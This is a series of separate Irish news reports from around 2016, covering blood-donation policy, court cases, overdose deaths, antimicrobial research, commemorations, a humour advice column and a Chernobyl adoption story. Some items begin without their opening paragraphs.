The Irish Haemophiliac Society is also represented at the conference, and Dr Murphy said people need to understand that the reason the haemophiliac society is so reticent on this is that they have counted coffins because of this issue.

Due to a 10-day window where an individual can have contracted HIV and still test negative, transfusion services rely on a self-reporting questionnaire filled out by anyone wishing to donate blood. There is no statistical evidence to suggest that MSM are any less likely to self-report accurately than any other group.

The conference follows last years High Court challenge by Tomas Henegan, a student from Co Galway, who took an action against the IBTS on the basis the ban applied against him after he disclosed sexual activity with another man is discriminatory, disproportionate and contrary to EU law.

Dr Murphy said the IBTS would seek a deferral on the grounds of progress made by the conference when the case appears before the High Court next Thursday, but said the decision to review the policy at this point is not driven by one case, while acknowledging the IBTS operates in a healthcare system with limited resources.

The IBTS will define its future policy in a submission to the Department of Health in June. Health Minister Leo Varadkar has previously voiced his support for a year-long deferral rather than an all-out reversal of restrictions for MSM. A spokesman from Mr Varadkars office said that any future decision would be based on the scientific and medical information available.
A man who has pleaded not guilty to murdering his brother by reason of insanity used a bungee cord to strangle him before submerging his body in a water-filled pit beside the Cliffs of Moher and concealing it under rocks, a jury has heard.

At the Central Criminal Court, Declan O Cualain, aged 41, of An Caoran Beag, An Cheathru Rua, Co Galway, has pleaded not guilty to murdering Adrian Folan (O Cualain) at Lislorkin North, Liscannor, Co Clare, on July 4, 2014, by reason of insanity.

Detective Inspector John Galvin yesterday told

Anthony Sammon, prosecuting,

that, on July 5, 2014, Mr Folan was reported by friends to be missing from his usual place of abode and activities  which was Athlone, Co Westmeath.

The court heard searches were then carried out in Athlone in an effort to locate Mr Folan.

Declan O Cualain was aware of this and was part of the searches. On July 6, 2014, Mr O Cualain made certain confessions to his friend Paul Taylor that he had killed his brother by strangulation and had disposed of the body in Co Clare, said Det Insp Galvin.

Mr O Cualain also rang Athlone Garda Station and made a further confession to having killed his brother.

The accused was then arrested at his home in Carraroe, Co Galway, at 4.30am on July 7, 2014.

Mr O Cualain told gardai he had disposed of his brothers body adjacent to the Cliffs of Moher in Co Clare.

Det Insp Galvin told the court he and other gardai went to the Cliffs of Moher area on July 7 to locate the body of the deceased, which was concealed under rocks.

The court heard his body was then taken to Limerick University Hospital where it was formally identified by his brother, Alan.

During the course of interviews at Galway Garda Station, Mr O Cualain told gardai how he strangled his brother using a bungee cord, which is an elastic piece of material.

The killing took place in the accuseds Citroen Berlingo van which he parked at the entrance to the main car park at the Cliff of Moher visitors centre, said Det Insp Galvin.

Detective Sergeant Paudie OShea told the court the accused first made admissions about the killing to his good friend, Paul Taylor.

The accused told gardai he was upset his brother had abused a member of his family and he was paranoid about child abuse.

Mr Sammon had earlier told the jury that the accused had become fixated with paedophilia and held the baseless delusion that his brother was a person afflicted with this difficulty and he may have sexually abused a sibling.

Mr Sammon said the accused was in an utterly delusional state of mind at the time and the delusions were not to be given any weight whatsoever.

The court heard the accused is the second eldest in his family and had a job in AIB before he got sick in 2000.

The court heard he told gardai that he previously spoke to a garda and someone in a psychiatric unit about his brother.

The trial continues.
Sinn Fein drugs spokesman Jonathan OBrien said on Wednesday that, last week, a 19-year-old man died from an overdose in Cork.

It followed the deaths of two men in Dublins north inner city: One whose body was not discovered for a week at a stairwell in a flats complex and another who died in public toilets in Connolly Station.

Im trying to get my head around the fact that three people have died from drugs, something that is killing people on the streets, yet there are no vigils, no protests, no media scrum, no questions to the Taoiseach, said Mr ORiordain.

The former Labour TD, who narrowly lost his Dublin Bay North seat in the election, contrasts the response to that of homeless man Jonathan Corrie, who was found dead just yards from Leinster House in December 2014.

There was a huge public reaction to his death, which was totally understandable, said Mr ORiordain. But we have stark and devastating deaths last week and theres nothing. Culturally, there is a sense that if you die from hypothermia you deserve sympathy, but if you die from a drug overdose there is little or none  and that feeds into a sense of blame.

Mr OBrien, TD for Cork North Central, told the Dail on Wednesday: We have an ever-increasing number of people losing their lives through addiction. Last week, in Cork, a 19-year-old tragically lost his life because of an overdose.

He said drug use should not be treated as a criminal issue and that a humane, harm reduction approach is needed.

He said plans for a pilot medically-supervised injecting centre in Dublin  which was backed by the Cabinet last December  must be processed regardless of who is in government.

These plans must also be replicated across the State, said Mr OBrien. Dublin is not the only place where there are addicts in need of medical advice and a safe place to conduct themselves.

Mr ORiordain, who is now standing for the Senate, said he didnt know where plans for a pilot centre are at, saying it is included in the Misuse of Drugs Bill and that it is up to the next health minister or drugs strategy minister to progress.

I hope that debate does not slip off the agenda, he said.

Tony Duffin, director of the Ana Liffey Project, described the recent deaths as tragic lonely endings. He that said injectors often use alleyways and public toilets, but said this concealment and isolation increases the risk of a fatal overdose.

He called on the new government to prioritise the injecting centre.
The Cork County Sheriff, solicitor Sinead McNamara, last week secured an order preventing the disruption of an auction of 1,000 cows and calves belonging to Peter and Tracey Kingston from Craden Hill Farm at Novohal in Kinsale, because of fears that protesters intended to prevent and disrupt the sale of the herd.

The injunction was granted against members of the Land league and New Land League, their spokesman Jerry Beades, and any other party with notice of the order, restraining them from interfering with the auction.

The auction proceeded on April 12 and the cattle were sold.

However, it later emerged that two parties who successfully bid on some animals in the herd had failed to pay for them and these animals may have to be resold.

Frank Callanan, counsel for the sheriff, said there are discussions taking place to see if an arrangement can be reached with those bidders.

Arising out of that, the sheriff, who said that there a number of incidents during the auction, wants additional orders including injunctions preventing anyone from interfering with the collection of animals from the Kingston farm, or from bidding on cattle in manner designed to frustrate the sale.

In a sworn statement, Ms McNamara said that the additional orders were being sought because hauliers of animals had received anonymous calls and had been threatened they would be burnt out.

In addition, vehicles and people attending the auction last week had also been intimidated by protesters.

Mr Beades, representing himself, disputed the validity of the injunction and argued it was flawed.

He said he had nothing to do with the Kingstons, that he was present at the farm to support other creditors who, he said, had not got paid.

He also said that any disruption to the auction or what had occurred after the sale of the cattle had nothing to do with him.

Mr Beades said what had occurred on the day of the auction was a peaceful protest. He rejected all allegations made against him.

The sheriff took possession of the Kingstons farm which was placed in receivership last year arising from an unpaid loan.

The sale was designed to reduce the Kingstons debt of 2.5m to ACC Loan Management.
The Irish Dental Association (IDA) is keen to meet doctors to explore how both professions can work better together on behalf of their patients.

Dentists believe a new system of risk-profiling patients might act as a warning system for chronic illnesses, such as diabetes and cardiovascular disease.

Newly-elected IDA president, Dr P J Byrne, said a new risk profile document would be ready for use at dental clinics in a matter of months.

However, he told more than 500 delegates at the associations annual conference in Galway yesterday that putting a systematic process in place to capture the relevant information is just the first step.

There has to be follow through with other medical professionals, especially doctors.

Dentists see patients with pre-diabetic conditions, often unknowingly, on a regular basis. In many cases this is manifest in poorly-controlled periodontal [gum] conditions, said Dr Byrne.

Dentists warn patients of the danger signs and advise them to follow it up with their GP, but it could be many years later when they returned to the clinic, having been diagnosed with diabetes.

Dr Byrne said they now know from research that there is a link between inflammation-based chronic diseases, such as arthritis, lung disease, and Crohns disease and gum disease.

An integrated treatment programme which addresses chronic diseases such as diabetes, or other inflammation-based chronic conditions and gum disease will lead to better outcomes for the patient.

Prof Bob Genco, a leading American authority on the links between gum disease and chronic disease, has backed the IDAs approach.
Breege Kennedy, aged 74, of Seafield Rd, Clontarf, Dublin 3, was suffering from weight loss, anorexia, and mild depression when she was referred by a GP to St John of God Hospital in Stillorgan.

It is thought she died at least a week before she was found at her home, where the curtains were drawn and a suitcase was left in the hallway, along with documents from her GP. She was last seen alive at around 10pm on September 12 at the Davenport Hotel with a friend.

Dublin Coroners Court heard that more than seven days passed before a referral letter from GP Patrick Lee requesting an urgent admission for Ms Kennedy was acted upon.

The letter was dated September 10 and was sent by fax. It arrived to the hospitals main office instead of the admissions unit and subsequently went astray within the hospital.

Ms Kennedy, who was first admitted to St John of God in 1984, was well known to staff and would often phone and ask to be admitted.

However, following the retirement of consultant psychiatrist Rory Shelley, she told a friend the admissions process had changed and a referral letter was required. Richard Blennerhasset, consultant psychiatrist and clinical director at St John of God, said Dr Shelleys retirement led to some of the difficulty surrounding the handling of her case.

I have to acknowledge that this referral did go astray within the hospital and this was a terrible outcome, said Dr Blennerhassett.

The faxed letter was placed in the hospitals internal mail system and sent to the outpatients department.

Sadly, by the time it was identified that admission was required, it would appear that the situation was already too late.

Clinical psychiatrist John ODonovan first saw the letter on September 15 and marked it to be followed up by his secretary, but this did not happen, the court heard. When he next saw the letter, on September 20, he tried calling the patient, but there was no answer.

He was horrified when he became aware of her death, he said.

New hospital procedures introduced since Ms Kennedys death include the scanning to an electronic patient record of all incoming faxes referring to admissions, appointing additional staff with responsibility for tracking all incoming referrals, and the installation of an upgraded phone system to ensure all calls are answered.

Ms Kennedy was found dead at her home on September 22, 2014. Death was thought to have occurred around September 12.

Coroner Brian Farrell returned a verdict of death by suicide.
A team of Irish scientists has found an agent that can be baked into everyday items like smartphones and door handles to combat bacterial infections such as MRSA and E.coli.

The nanotechnology has a 99.9 % kill-rate of potentially lethal and drug-resistant bacteria, they say.

Lead scientist Suresh C Pillai, of Sligo Institute of Technologys Nanotechnology Research Group, says the discovery is the culmination of 12 years of work.

This is a gamechanger, said Prof Pillai. Its absolutely wonderful to finally be at this stage. This breakthrough will change the whole fight against superbugs. It can effectively control the spread of bacteria.

The findings were published in the international journal Scientific Reports.

Last week, the International Monetary Fund in Washington heard warnings that superbugs could become deadlier than cancer and are on course to kill 10 million people globally by 2050.

The IMF was told drug-resistant bugs could escalate into a global crisis costing 70 trillion. Scientists have been in a race to find a way of preventing the spread of the bacteria which causes the superbugs.

The new discovery works by building or baking a water-based anti-microbial solution that kills micro- organisms or inhibits their growth into everyday products as they are being manufactured.

These could include anything made from glass, metallics and ceramics, including computer or tablet screens, smartphones, ATMs, door handles, TVs, handrails, lifts, urinals, toilet seats, fridges, microwaves, and ceramic floor or wall tiles.

Prof Pillai says the innovation will be of particular use in hospitals and medical facilities which are losing the battle against the spread of the killer superbugs.

Every single person has a sea of bacteria on their hands, he said.

The mobile phone is the most contaminated personal item that we can have. Bacteria grows on the phone and can live there for up to five months.

As it is contaminated with proteins from saliva and from the hand, its fertile land for bacteria and has been shown to carry 30 times more bacteria than a toilet seat.

The research has been funded for the past eight years by John Browne, founder of Kastus Technologies, which will now work to bring the product to a global market.

The team says the nanotechnology is non-toxic and has no harmful by-products.

It is already working on how to adapt it for use in plastics and paint, allowing even wider use.
Dublin District Court has heard arguments from the defence that the allegation was vague. However, after written submissions from the State, Judge Bryan Smyth said there was no factual vagueness in the wording of the charge.

The abuse was allegedly directed at President Higgins during a protest at Cappagh Road, in Finglas, in Dublin, on January 23 last year.

The three, from Dublin, face trial: Derek Byrnc 36, of Streamville Rd, Kilbarrack; Anna Clarke, 35, formerly of St Donaghs Road, Donaghmede, but now living in England, and Diarmuid Dubhghlais, 41, of Parc Ui Mhaoiliosa, Finglas. Mr Dubhghlais wants his trial in Irish. They are charged with using threatening, abusive, and insulting words or behaviour, with intent to provoke a breach of the peace, or of being reckless as to whether a breach of the peace might have been occasioned. The offence can result in a fine and/or a three-month jail sentence.

Simon Donagh, defending Ms Clarke, argued that the charge was similar to another, which was struck down by the High Court for being too vague. He asked the court to dismiss this case, or for the State to nail their colours to the mast.

He said the charge against his client involved at least three offences: threatening, abusive, and insulting words or behaviour.

There were 20 prosecution statements and counsel said he did not know what offence was alleged against Ms Clarke.

Prionsias O Maolchalain, defending Mr Byrne, said he was adopting the same submissions.

Judge Smyth ordered that Mr Byrne and Ms Clarkes trial be held on June 28.
Daniel OSullivan of Carrowkeel, Mallow, Co Cork, pleaded guilty at Cork Circuit Criminal Court to the manslaughter of French man, Vincent Morgain, aged 34, on Lower Oliver Plunkett St in Cork last September.

Sgt Dave OCallaghan said OSullivan and two others bought a 700ml bottle of vodka at 10.30am and he passed out after drinking most of it quickly. By lunchtime he and the two others left the boardwalk on Lapps Quay and went to Lower Oliver Plunkett St where Mr Morgain and a woman were sitting in a doorway at the back of Jurys Inn hotel.

They had a bag with some drink in it. One of the three men grabbed the drink and when Mr Morgain stood up, OSullivan punched him, knocking him to the ground where he banged his head.

He struggled on his hands and knees to get up and OSullivan kicked him in the head, an attack that was witnessed by passers-by and motorists.

A number of people went to the assistance of Mr Morgain who was unconscious on the ground when OSullivan and the others walked away.

A passing ambulance brought him to hospital but he died five days later on September 15, 2015.

Blunt force trauma to the head was one of the main causes of death and excess alcohol was also noted by the pathologist.

Mr Morgain lived in Kerry from 2000 and worked in several hotels but ended up with a severe drink problem and came to Cork a year before his death.

His mother, Liliane Thomas, said: The death of Vincent has created a loss to me that I cannot explain.

He is part of me that has disappeared. I am very, very sad. I wanted for him to return to France and I said that to him when we met in Killarney in May 2014. He wanted to be self-sufficient.

A thousand times I wished for his return home. Vincent was very kind. He was prepared to go without to please others and he thought more of others than of himself.

His sister, Marie Thomas, said: I want to cry everyday but I hold back so as not to fall into depression. I will never forget you. I think of you during the day and you are in my dreams. We had so much more stuff to do and so much more stuff I wanted to show you, like my children, who are proud of their uncle.

Defence senior counsel Elizabeth OConnell said that OSullivan had deep remorse, had no history of violence, and expressed his apologies to the family of the victim.

Judge Sean O Donnabhain said Mr Morgain, who came from Brittany, was an entirely innocent victim and that the attack on him was of the kind which was all too common in Cork City.

The judge said it was inevitable that such an attack would result in a death.

Expressing his sympathy for the family of the deceased who travelled to Cork for yesterdays sentencing, the judge imposed eight years, with the last three years suspended.
Gerard Lee, a native of Limerick, with an address at 68 Killeen Woods, Tralee, Co Kerry, pleaded guilty at the last moment before Galway District Court this week to burglary at a house in Forster Court, Galway, on the night of August 1 last year. Lee also pleaded guilty to burglary at a house in The Elms, Forster St, on the night of July 30/31, and to handling a womans purse knowing it was stolen on the same night.

Inspector Mick Dwyer said Lee was caught in the house Forster Court house by a tenant and was held there until gardai arrived.

While he was in the house, Lee spotted a 500 headpiece which belonged to one of the female tenants. He became jealous and broke it in two.

Ooh, she must have had it for the Races, Judge Mary Fahy said.

She asked the inspector if it was a Philip Treacy hat. He looked bewildered and said he didnt know.

The genesis for all these burglaries and behaviour is an underlying psycho-sexual disease, defence solicitor, Ronan Murphy said and handed a psychological report on his client to the court along with a report from his GP.

This has been going on for 21 years. Its cost him his marriage. He is now 61. Hes separated from his wife and he has four grown-up children, Mr Murphy explained.

He said Lee is now working for Fas as a chef, earning 300 a week.

Reading the reports, Judge Fahy said the prognosis was not good.Hes been stealing ladies underwear as far back as 1995. Its now 2016, and if he was getting help , surely it would have abated by now, she said.

Judge Fahy said she didnt like the way in which he broke the headpiece in two. If he didnt break it, we wouldnt be looking for 500, she said.

Mr Murphy said his client broke it out of jealousy and that was part of his dysfunction.

What a load of codswallop, that a man would be jealous of a womans hat. They wouldnt be of much use to most men, Judge Fahy said.

She remanded Lee on continuing bail to appear before her again in July with the 500.

She imposed conditions on his bail, that Lee continue with his counselling, stay away from Galway city and county, other than for court appearances, and be of good behaviour.
But the proposals  first revealed by the Irish Examiner in 2012  resulted in successful trials, funding from Enterprise Ireland, and plans to create a spin-off company which could employ up to 20 people to sell the technology.

The kites, which can be reeled out on steel cables from a pulley system, fly over the ship and are equipped with a batch of sensors which can dramatically increase the range of radar and other surveillance equipment. It can improve radar capabilities by nearly 10 times.

Normally, a ships radar has a sweep of about 250 square nautical miles, but sensors on the kites  which will fly up to 300m above the vessel  would significantly increase the radar sweep and other surveillance technology to up to 2,500 square nautical miles.

The technology will be particularly useful to the Irish Navy because it now has to cover 1m square kilometres of sea for fishery protection, drug interception, and search and rescue missions.

Depending on the way the wind is blowing and the direction the ship is taking, the kite can also be reeled out to provide a type of sail propulsion which will save on diesel.

Fuel savings are especially important to the naval service which uses around 40% of the fuel allocated to the Defence Forces. When in use the kites on their own could provide speeds of up to eight knots, which is as fast as an average trawler.

The technology isnt just useful for military purposes but for coastguards and commercial vessels.

Its not clear yet where the potential spin off company will be based, but its highly likely it will be in the IMERC (Irish Maritime Energy and Resource Cluster) campus in Ringaskiddy, Co Cork, because thats just a stones-throw from the naval service headquarters on Haulbowline Island where prospective buyers could see it in action.

The technology was developed through the collaboration of the naval service, UCCs Halpin Institute, and CITs Nimbus Centre and SEAI and UL under the umbrella of IMERC.

Meanwhile, the LE Aisling last night hosted the announcement that UCCs School of Law is creating two new masters programmes  in Environmental and Natural Resources Law, and Marine and Maritime Law.

The masters degrees are the first of their type to be offered in the country and reflect the ongoing research activities carried out in Cork, within UCCs law school and with key partners including IMERC.
The day of commemorations marked the arrival by German U-boat of Casement at the spot 100 years ago for what President Higgins described as the last stand of the patriot and international humanitarian.

Tricolours lined the route from Tralee and up to to 4,000 people attended the 90-minute long ceremony involving the navy, army, and air corps. The audience included pupils from several schools, with the public thronging the sand dunes at the rear of the main area to catch a glimpse of the historic occasion.

Casement, along with two others  Captain Robert Monteith and Daniel Bailey, members of the Irish Brigade  had hoped to rendezvous with the Aud, a ship carrying 20,000 rifles from Germany which Casement had organised for the Easter Rising.

However, the plan failed, and the Aud and its cargo were scuttled by its German captain Karl Spindler while being escorted by the British navy through Cork Harbour.

Personnel on the Navy vessel the LE Niamh stood to attention around a mile off shore, as President Higgins laid a wreath at the recovered anchor from the Aud, which was on display at the strand.

A piper sounded a lament, the tricolour was raised, the last post was sounded, the Military Band from Collins Barracks played the national anthem, and there was a dramatic fly past just over the wreath-laying scene by the Irish Air Corps from Baldonnells Casement Aerodrome.

The Proclamation was read by Lieutenant Dermot Considine of the 12th Infantry Battalion in Sarsfield Barracks.

Extracts from Casements speech from the dock, after he was found guilty of treason, were movingly read by actor Declan McCarthy from West Cork.

Delivering the key note address, for which he got a standing ovation, President Higgins said Casements contribution was not only to Irish freedom but to the universal struggle for justice and human dignity.

Roger Casement was not just a great Irish patriot, he was also one of the great humanitarians of the early 20th century, a man who is remembered fondly by so many people across the world for his courageous work in exposing the darkness that lay at the heart of European imperialism, the President said, referring to Casements work in exposing exploitation in the Congo and in South America.

Describing him as a complex figure and a man of considerable charm and distinction, the President said that Casements legacy, 100 years on, is being fully realised.

This afternoon, as we come together at the location of Roger Casements last stand as an activist and Irish revolutionary, it is appropriate that we recall the crucial part that he played in the lead-up to the Easter Rising of 1916, said President Higgins.

The President, who had earlier visited the gaelscoil in Tralee, Scoil Mhic Easmainn, named after Casement, also paid tribute to Casements battle against the subjugation of the Irish language and culture.

Casements vision was for a true republic, one that included all the people of all religions, north and south, said the President.

The honour guard and military band were drawn from the 12th Infantry Battalion in Sarsfield Barracks, Limerick, while the Captains Escort of Honour was from 2 Cavalry Squadron at Cathal Brugha Barracks.

Christopher Farrington, great grand-nephew of Casement, who travelled from Melbourne, Australia, said it was his third visit to the Casement site and he said he was proud of his relative.

Lesley McNaughton, great grand-niece of Casement, has studied his speeches, as well as Irish history.

He died for Ireland, she said of her ancestor.

Relatives of Robert Monteith were also present.

Also, just off shore at Banna, about a mile south of the Auds capture, was the Celtic Mist, Charlie Haugheys yacht, now owned by the Irish Whale and Dolphin Group.

Earlier, a ceremony took place at Ballykissane pier near Killorglin to mark the first casualties of the Easter Rising on Good Friday 1916. The President also opened an exhibition dedicated to Casement at the Kerry County Museum yesterday afternoon.
The three are alleged to have used flashing lights to impersonate gardai in order to stop a car at Newhall, Naas, Co Kildare, and rob the occupants of 1,000 cigarettes.

Myles Berry, aged 23, of The Bay, Ballyfermot, Dublin 10, Thomas Berry, aged 22, of 5 Labre Park, Ballyfermot, and Thomas Wall, aged 18, of 19 Fortunestown, Tallaght, were charged with fraud and theft contrary to Section 4 of the Criminal Justice Act.
UCC decided the timing was right, as the popularity of the TV series Vikings, has created huge interest in the ferocious Norsemen, who ruled the waves from 800-1066 AD. They roamed so far they left settlements all over Europe, Greenland, and even North America.

Interest in them is likely to peak with actor Jonathan Rhys Meyers role in the fifth season of Vikings.

UCC has launched the World-Tree Project to crowdsource as much information as it can from all over the globe, enlisting the publics help to develop an interactive digital archive for the teaching and study of Viking culture.

Crowdsourcing has previously been used to create educational resources, from collective transcription for the Letters of 1916 project to citizen science projects. This Irish Research Council-funded project, which is based at UCCs School of English, is inviting the public to submit everything, from translations of Norse poetry to films of Viking re-enactments, to original artwork.

Principal investigator on the project, Dr Tom Birkett, said the Vikings had never been so popular, thanks to glossy TV dramas, blockbuster exhibitions, and high-profile finds, and UCC aims to capitalise on this enthusiasm. The time is certainly ripe for such a collection: interest in Ireland is at an all-time high, in the wake of the Battle of Clontarf millennial, and theres a need for a resource that fulfils an appetite for more information about the Vikings, Dr Birket said.

Everyone knows that the Vikings travelled huge distances, colonising Greenland, exploring North America and leaving a legacy across Europe. What were hoping is that the public will help us to gather together this wealth of material, by taking photos in their local area and submitting items to the project, researcher, Dr Roderick Dale, said.

The project is as interested in modern interpretations of the Vikings as in original material. If we hope to learn anything about how people perceive and use the Viking past, we need to understand how the Vikings are being used in tourism and popular culture, Dr Dale said.

In this sense, a Viking brand, or a souvenir, is as interesting to us as the legacy they left in the form of literature, language, and material culture, Dr Dale added.

The collection will be curated by researchers at UCC and developed into a series of exhibitions for everyone.

This initiative starts and ends with Vikings in the community, as a resource developed by the public for everyone to enjoy.

To follow the World-Tree Project and contribute items, log onto www.worldtreeproject.org.
AYOUNG man in black looks intently at the skull he is holding. Anywhere in the world, someone will recognise this picture as Hamlet. They may have never read or seen the play, but they will know this figure and what it represents: life contemplating death. Four hundred years ago, on his 52nd birthday, the man who made that image  William Shakespeare  died, and an enigma was born.

How did a glovers son from a small provincial town become the worlds greatest playwright? The plays were written quickly (he never blotted a line according to one contemporary) and rehearsed in ten days.

They had to engage a mixed and turbulent audience of apprentices, prostitutes, courtiers, tourists, locals and yokels. This audience demanded something for everyone: mischief and murder, a jig and a tale of bawdry, and it all had to be wrapped in language that would rattle the timbers of those ramshackle buildings and send everyone home muttering memorable phrases and repeating favourite jests.

Shakespeares master-stroke, of course, is to challenge his audience: Piece out our imperfections with your thoughts Think, when we talk of horses, that you see them, Printing their proud hoofs i the receiving earth.

The remarkable thing is that those plays are still so alive today. They continue to challenge actors and directors and delight audiences with intricate stories, rich and memorable language, and complex thought and feeling. Paradoxically, the insubstantial pageant refuses to fade. The plays still ask us to face some of lifes harder questions: Why should a dog, a horse, a rat have life, and thou no breath at all?

That these plays transcend history and politics, as well as time, is nowhere more evident than in the Ireland. A hundred years ago, when Douglas Hyde was lecturing people on The Necessity of De-Anglicising Ireland, Shakespeare got a free pass. Hyde even contributed a poem to a volume celebrating Shakespeare in 1916. Padraic Pearse himself was forever quoting Shakespeare and Sean OCasey, the most politically radical Irish dramatist of the period, wrote glowingly of his delight in performing Shakespearean scenes with his brother, a delight he wrote into Red Roses For Me where the hero takes inspiration from reading Shakespeare.

In later years, OCasey complained to connections of his in the USSR that the English were not celebrating Shakespeares anniversary adequately  an Irish socialist complaining to Russian communists that an English monarchist author was not appreciated!

Perhaps the most poignant story is that in the midst of the 1916 Rising, the Volunteers in Jacobs Factory found time heavy on their hands, so they read each other excerpts from Julius Caesar, borrowed from the company library.

One cant help wondering what they thought as they read the overthrow of the tyrannical Caesar, quickly followed by Romes descent into the chaos of civil war.

Shakespeare knew what he was doing. As he wrote in one sonnet, Not marble, nor the gilded monuments/ Of princes, shall outlive this powerful rhyme. He proved more prophetic than he could have guessed.

When he died he left the world a treasure-house of words, characters, stories and images. He also left a substantial property portfolio. His will disposed of that property with great care, leaving the vast bulk of it to his eldest daughter. The will mentions his wife only once, and his sole bequest to her is his second best bed. Now theres an enigma.

Dr Ger FitzGibbon is former Head of Drama and Theatre Studies, UCC, and author of The Bed, a new play about Shakespeares wife Anne Hathaway, which will feature in the Cork Midsummer Festival. Next Tuesday at 6pm he will give a public lecture in UCC on Shakespeare, OCasey and the Nature of an Insurrection

The Volunteers in Jacobs Factory found time heavy on their hands, so they read each other excerpts from Julius Caesar
Ive been married to my husband for more than 15 years and I think our love life could do with a boost. A lot of the time when we are doing the wild thing, I start thinking about whats going on in EastEnders. Do you have any recommendations?  Karen, Cashel.

Im always amazed when people write in from Tipperary to say they get distracted during sex. Come on, its not like there is anything else to do up there. I recommend you stop watching EastEnders for a while. There are all kinds of things you can picture to spruce up your love life. Ian Beale isnt one of them. Im reluctant to recommend role-play to culchies. I suggested this once to a man from Buttevant and he thought it involved ham rolls. The more you think about that, the worse it gets.

Like, howz it goin babes? Ive been living in Cork now for three weeks, so its time to get my girls down from Dublin and show them how Kimmy is making good with the bog people. Where is the best place for them to like, perv out, on hot Cork men?  Kim, Im starting to say totally allerge like, girl.

Id say youre hearing it from a lot of people too. Im like totally allerge and I havent even met you. In terms of looking at hot Cork men, it really depends on the weather. If its raining, I usually stay at home and look at them on Tinder. (My hair is a fright when it gets wet, its hardly worth my while heading into town.) If it stays fine, just pitch up in any bar around town and the talent will come to you. Cork men are fools for women with posh Dublin accents. My Conor met Rachel Allen once and he actually started dribbling.

Ciao. In Italy the rule is that you must go on three dates with a woman before she invites you to the bedroom. Is it the same thing here in Cork? And does it count as two dates if I go home for an hour half way through and come back out again?  Gianni, Pisa and Midleton.

You seriously have to wait for three dates? No wonder so many Italian men make the move to Ireland. Youd feel badly done by in Cork if you had to wait for three hours. (I hear that comes down under the 60 minute mark in Mitchelstown.) No, it doesnt count as two dates if you do a runner half way through. But your question does explain why an Italian I was on a date with last month insisted that he had to pop out for an hour. And I thought it was because I was dancing on the bar in The Metropole singing Push It Real Good by Salt n Pepa. You learn something new every day.

Hello. My butler is just back from a trip to your island and tells me that he had a smashing time around Millstreet and Kanturk. Do you think a chap such as myself would enjoy some time in the area?  The Earl of Nobdon, I believe Daddy stills owns part of Mallow.

Hell have trouble selling it. I should warn you about the dangers of driving around north Cork when you dont know the roads. One wrong turn and you could end up in Kerry. It isnt immediately obvious that you have left Cork. Until you come across a man with nose-hair that goes down to his knees. In fairness, they are very welcoming below in Kerry. Particularly if they suspect you have money. And then theyll be all over you like fleas.

Hey man. Im a manager in a multi-national here in San Francisco, with most of my awesome team based in our offices in Cork. Im going to fly over there next week and give those guys a totally cool treat. What would you recommend?  Troy, I just cant stop smiling.

Maybe you could give them an afternoon off. Seriously, the best thing about growing up here was when the Lord Mayor called and gave your school a halfer.

Trust me, the only thing that Cork people want more than a surprise halfer is for Donal Og Cusack to fail above in Clare. (Were fierce bitter.) If the halfer isnt an option (and I know you Americans only get three hours off a year), then just lay on a free bar. If you want to make this extra awesome, I recommend you make yourself scarce on the night. To be honest, Id say youre unbearable, even after eight free pints. (No offence.)

Im reluctant to recommend role-play to culchies. I suggested this once to a man from Buttevant and he thought it involved ham rolls. The more you think about that, the worse it gets
ROBERT Gabriel remembers the hazy images of the Chernobyl disaster that were broadcast around a shocked world in April of 1986.

I remember bits and pieces on the TV, says the Bandon native. It was terrible, really. But, like many tragedies in the world, it just disappeared. It was a long way away and it didnt really affect us. Robert had no idea that the disaster would have a profound effect on his life.

On the night of April 26, 1986, an explosion at the Chernobyl nuclear plant, in Pripyat, in Ukraine, released one hundred times more radiation than the atom bombs dropped over Hiroshima and Nagasaki. Nearby regions, such as Belarus and Russia, were also contaminated by the fallout.

The results were devastating. Instances of thyroid cancer in Belarus, among adults aged 19 to 34, had increased from less than one per 100,000 people, in 1986, to eleven per 100,000 by 2002. There was a 250% increase in congenital birth deformities. Newborns were covered in tumours. Some were born with shortened limbs or extra digits, while others were born without them.

In 1991, touched by a cry for help from doctors in Belarus, Adi Roche formed the Chernobyl Childrens Project, today known as Chernobyl Children International.

We got involved back in 1995, says Robert. We were part of a group in Bandon that was bringing children over from Belarus for rest-and-recuperation holidays. We had ten children over the first time, and we were privileged to host two of them in our own home.

Robert and his wife, Helen, became more involved in the fundraising. At the media launch for a new ambulance, they got talking to Adi about a toddler in Belarus.

Adi was a bit worked-up, says Robert. She showed us a photo of the girl and told us she was about to be committed to an adult asylum, because of her physical difficulties. I think, when we saw the photograph, we bonded there and then.

Adi explained that she was going to have to get her out of Belarus and bring her to Ireland, because the conditions in the asylum were horrendous.

That was October 95 and we said wed look after her. Anna came over in January the following year. She was three-and-a-half, and, thankfully, shes with us ever since.

Anna Gabriel, who was adopted from Chernobyl by Robert and Helen Gabriel

Anna now speaks with a remarkably strong Cork accent; she had speech therapy when she first arrived in Ireland, due to significant hearing loss from birth.

That is just one of many hurdles she has had in her 24 years. She talks frankly about her physical difficulties, but prefers to focus on her abilities.

Apart from the hearing loss, which was resolved by a bone-conductor hearing aid, Anna has only one kidney, which she says is 100% percent working fine. She has six fingers on each hand, but that, she says, was never a problem, because it makes her a bit of a wizard at typing.

She cheerfully admits that the legs have been the most challenging of all her health issues. She has used artificial ones since the age of 13.

Anna as a baby

When I was born, my feet were attached to my knees, so I basically have nothing from the knee down, she says. I have these prosthetic legs that are a bit like pants, I suppose, and I stand on them with my own feet and they give me extra height. Im about three feet normally, but Im five-one with the legs on, so it gives me that bit of height.

As you might expect, Anna is well-known around Bandon. It was never a secret that I was adopted or that I was from Chernobyl, she says. It was big news 20 years ago, so there was no way of keeping it a secret, really.

My parents always tried to treat me as normally as possible, and my childhood was normal, but there were a few exceptional times, where I was in the papers or on The Late Late, or that, so there was no hiding my background. Anna will be appearing on The Late Late, again tonight.

Although Roberts tone often suggests otherwise, the process of adoption from Belarus was far from easy.

Belarus had no adoption board, so negotiations for Anna had to be conducted at government level. The talks were long and arduous, and involved many trips back and forth to Minsk. But because of her medical visa, and ongoing treatment, Anna was able to stay in Ireland.

Anna as a baby

In 1998, the family had to return to Belarus to attend a formal court hearing over custody, and, in the end, she was adopted.

She has yet to return and has no plans to do so. Her job at the Irish Cattle Breeding Federation, and a course in accountancy at the Cork Institute of Technology, have her kept busy. But she is sure that, some day, she will return.

Im happy to be here, around all my family and friends, she says. I do want to go back someday and see everything with my own eyes. But it will probably be hard, so Ill have to be mentally ready. It might be five years, it might be ten years, but I will go back.

Alexi Barrett was just a babe-in-arms when he arrived in Ireland, on the same flight as Anna. He, too, has not returned to Belarus, since his adoption was formalised; a process made more difficult by an unexpected complication.

Helen Barrett, Adi Roches sister, who adopted Alexi, now 21.

